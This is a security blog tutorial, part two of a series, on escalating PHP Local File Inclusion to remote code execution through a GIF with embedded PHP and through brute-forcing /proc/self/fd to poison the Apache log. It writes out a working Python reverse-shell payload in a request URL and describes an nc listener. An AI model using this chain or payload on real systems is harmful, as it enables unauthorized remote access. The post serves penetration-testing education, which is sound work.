From Local File Inclusion to Remote Code Execution - Part 2
This is going to be the second part of our first blog post regarding Local File Inclusion to Remote Code Execution. Last time we went through two common techniques, log poisoning and proc environ injection. We highly recommend reading the first blog post if you haven’t done so, as it also explains the basic concept of Local File Inclusion.
Abusing Upload Functions
A vulnerable Web Application upload feature combined with a Local File Inclusion might lead to a Remote Code Execution.
An attacker who manages to upload data on the server - like image upload, specific document type file upload, etc. - could use a Local File Inclusion vulnerability to execute arbitrary commands remotely.
To have a better understanding of this technique, let’s suppose that there is a web application vulnerable to:
- Local File Inclusion
- File Upload
We will use the LFI to evaluate the malicious code that we will upload via the unrestricted file upload.
An extra information needed to successfully perform the attack is the upload path.
The following code is a simple code, taken from w3schools, used to upload image files.
Several checks are done on the above code. Firstly, the getimagesize() function is used to determine the dimensions of the image we are going to upload. Afterward, the size of the upload image is being checked. Finally, the image extension is being checked to verify that only images will be uploaded.
There are multiple other checks that should be taken into account but for the sake of better understanding, we will focus on this sample code.
Again, our goal is to upload an image with PHP commands included. To do this, I used a tool called gifsicle. It is used to manipulate GIF images. We will use it to append as a comment our PHP command.
Here is the command used:
Now, we have a valid image which contains our PHP payload. As we didn’t destroy the image the getimagesize() function will be executed successfully. A more in-depth explanation can be found here - Defeating Getimagesize() Checks in File Uploads.
Once the image is uploaded, we only need to find the uploaded path and use the LFI vulnerability to evaluate its code, including our PHP code.
There are several ways to discover the file path of the uploaded file. Although it shouldn’t be easy to discover the file upload path, sometimes we may end up with a valid one. Most commonly, we will discover the valid path via brute forcing, web application misconfiguration or by combining different web application vulnerabilities.
For our case, the upload path is located under uploads/. By using the LFI vulnerability, we can “include” the image code and execute system commands.
Let’s make a small bullet point recap of the steps:
- Use a validated LFI vulnerability
- Discover an upload form
- Upload a modified image that contains our PHP Payload
- Identify the upload path of the uploaded image
- Load the uploaded image via the LFI vulnerability
To receive the shell, we set up a listener using nc.
We are going to use the same python reverse shell payload.
Here is how the response looks like:
URL visited: http://target-url/vulnerable-lfi/webapp/part2/index.php?view=vulnerable-lfi/webapp/part2/uploads/upload_image.php.gif&cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"
In this example, the image is processed via PHP and not over an Image wrapper. Thus, the system command was executed successfully and a shell access was given.
Brute forcing the /proc/self/ directory
As described in Part 1, the Linux /proc/ directory holds information about different processes. Each process is distinguished by its PID as shown in the following screenshot.
Every process can access its available information by requesting the /proc/self directory. Last time we used the /proc/self/environ file to exploit the LFI vulnerability.
As Apache is requesting this file (via the LFI vulnerability) and since the file is located inside Apache’s proc directory, we can use /proc/self instead of searching for Apache’s PID. In a brief recap we could say that /proc/self/environ is - roughly- equal to /proc/<apache_pid>/environ.
The last thing mentioned in Part 1 was File Descriptors:
“[...] In a nutshell, when a process is created and has an open file handler then a file descriptor will point to that requested file. If you are not familiar with File Descriptors, here is an introduction.”
Linux holds a separate directory to store those “pseudo-files”. Supposing that we execute requests originated from Apache - via the LFI - we can find this directory under: /proc/self/fd/.
It goes without saying that during the attack we do not know which symbolic link points to which file. The file we will be interested in is the Apache access log. We choose this file as it’s dynamic and can be changed based on our input.
To identify the file, we will use Burp Intruder.
First, we set up the position of our payload.
As File Descriptors are identified by a numeric id, we choose the proper payload. Payloads > Payload type: Numbers
A successful enumeration should look like the following:
From the above response, we can see that the link file, located at /proc/self/fd/8 points to the Apache access log file.
A small recap. All we need to do is to brute-force the actual symlinks located inside the FD directory. In other words, we are looking for the open file handlers that we can change dynamically.
Now, we will take the same approach as we did on Part 1 at the Log Poisoning chapter. The payload will be inserted inside the HTTP Request and then, by loading the file over the LFI we will hopefully get a shell.
By listening on port 4444 we can see that a shell has been received.
This is the end of Part 2 of the Local File Inclusion to Remote Code Execution article series. We have covered two different techniques to receive a remote shell from a Local File Inclusion vulnerability. More in-depth techniques will be covered in the following writings. Stay tuned!
Like last time, you can find the PHP codes used at Github - Vulnerable LFI.
https://www.w3schools.com/php/php_file_upload.asp - W3School FIle Upload
https://en.wikipedia.org/wiki/File_descriptor - File Descriptors
[*] Well, it’s not just files. But the concept is similar: https://stackoverflow.com/questions/18568089/whats-the-difference-between-pipes-and-sockets